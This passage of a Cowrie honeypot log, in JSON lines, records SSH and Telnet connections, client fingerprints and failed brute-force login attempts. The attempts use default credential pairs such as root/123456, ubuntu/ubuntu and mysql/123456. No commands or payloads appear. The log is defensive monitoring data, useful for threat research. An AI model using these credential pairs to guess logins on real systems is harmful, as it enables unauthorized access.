{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b8a25db4f88","protocol":"ssh","message":"New connection: 176.65.132.129:60174 (10.17.0.5:22) [session: 5b8a25db4f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:13.337114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:13.342493Z","src_ip":"176.65.132.129","session":"5b8a25db4f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:13.428120Z","src_ip":"176.65.132.129","session":"5b8a25db4f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:13.682193Z","src_ip":"176.65.132.129","session":"5b8a25db4f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.674660205841064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:14.119771Z","src_ip":"38.60.198.128","session":"2a6ed14559e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:14.768289Z","src_ip":"176.65.132.129","session":"5b8a25db4f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":54980,"dst_ip":"159.203.135.109","dst_port":23,"session":"21944a6bb288","protocol":"telnet","message":"New connection: 64.227.82.147:54980 (159.203.135.109:23) [session: 21944a6bb288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:15.896868Z"}
{"eventid":"cowrie.session.closed","duration":55.933626890182495,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:16.675967Z","src_ip":"38.60.198.128","session":"ce5c75aca954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39696,"dst_ip":"10.17.0.5","dst_port":22,"session":"14353877f1e9","protocol":"ssh","message":"New connection: 176.65.132.129:39696 (10.17.0.5:22) [session: 14353877f1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:16.711418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:16.722652Z","src_ip":"176.65.132.129","session":"14353877f1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:16.812409Z","src_ip":"176.65.132.129","session":"14353877f1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:17.070178Z","src_ip":"176.65.132.129","session":"14353877f1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":48480,"dst_ip":"159.203.135.109","dst_port":22,"session":"4368fff4a44c","protocol":"ssh","message":"New connection: 57.128.222.14:48480 (159.203.135.109:22) [session: 4368fff4a44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:17.785880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:17.790861Z","src_ip":"57.128.222.14","session":"4368fff4a44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:17.907802Z","src_ip":"57.128.222.14","session":"4368fff4a44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:18.159507Z","src_ip":"176.65.132.129","session":"14353877f1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123123","message":"login attempt [dev/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:18.380620Z","src_ip":"57.128.222.14","session":"4368fff4a44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:19.494994Z","src_ip":"57.128.222.14","session":"4368fff4a44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39726,"dst_ip":"10.17.0.5","dst_port":22,"session":"384ad2bb97d7","protocol":"ssh","message":"New connection: 176.65.132.129:39726 (10.17.0.5:22) [session: 384ad2bb97d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:20.300652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:20.306834Z","src_ip":"176.65.132.129","session":"384ad2bb97d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:20.385336Z","src_ip":"176.65.132.129","session":"384ad2bb97d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:20.704698Z","src_ip":"176.65.132.129","session":"384ad2bb97d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:21.790700Z","src_ip":"176.65.132.129","session":"384ad2bb97d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39750,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e3f7fc493e","protocol":"ssh","message":"New connection: 176.65.132.129:39750 (10.17.0.5:22) [session: 74e3f7fc493e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:23.610071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:23.614788Z","src_ip":"176.65.132.129","session":"74e3f7fc493e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:23.701581Z","src_ip":"176.65.132.129","session":"74e3f7fc493e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:23.954567Z","src_ip":"176.65.132.129","session":"74e3f7fc493e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:25.039952Z","src_ip":"176.65.132.129","session":"74e3f7fc493e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47654,"dst_ip":"159.203.135.109","dst_port":23,"session":"46abdf5db367","protocol":"telnet","message":"New connection: 38.60.198.128:47654 (159.203.135.109:23) [session: 46abdf5db367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:26.209711Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"946e6cb2068c","protocol":"telnet","message":"New connection: 38.60.198.128:48300 (159.203.135.109:23) [session: 946e6cb2068c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:26.747313Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33802,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13584230b83","protocol":"ssh","message":"New connection: 176.65.132.129:33802 (10.17.0.5:22) [session: c13584230b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:27.106981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:27.166625Z","src_ip":"176.65.132.129","session":"c13584230b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:27.234800Z","src_ip":"176.65.132.129","session":"c13584230b83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:27.519936Z","src_ip":"176.65.132.129","session":"c13584230b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:28.605484Z","src_ip":"176.65.132.129","session":"c13584230b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33808,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a43cfd111ae","protocol":"ssh","message":"New connection: 176.65.132.129:33808 (10.17.0.5:22) [session: 8a43cfd111ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:30.454929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:30.460491Z","src_ip":"176.65.132.129","session":"8a43cfd111ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:30.544770Z","src_ip":"176.65.132.129","session":"8a43cfd111ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:30.794729Z","src_ip":"176.65.132.129","session":"8a43cfd111ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:31.880443Z","src_ip":"176.65.132.129","session":"8a43cfd111ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52502,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a5c9fac45db","protocol":"telnet","message":"New connection: 38.60.198.128:52502 (159.203.135.109:23) [session: 5a5c9fac45db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:32.003795Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33816,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8317a9c5ebf","protocol":"ssh","message":"New connection: 176.65.132.129:33816 (10.17.0.5:22) [session: a8317a9c5ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:33.845789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:33.850562Z","src_ip":"176.65.132.129","session":"a8317a9c5ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:40:33.934285Z","src_ip":"176.65.132.129","session":"a8317a9c5ebf","protocol":"ssh"}
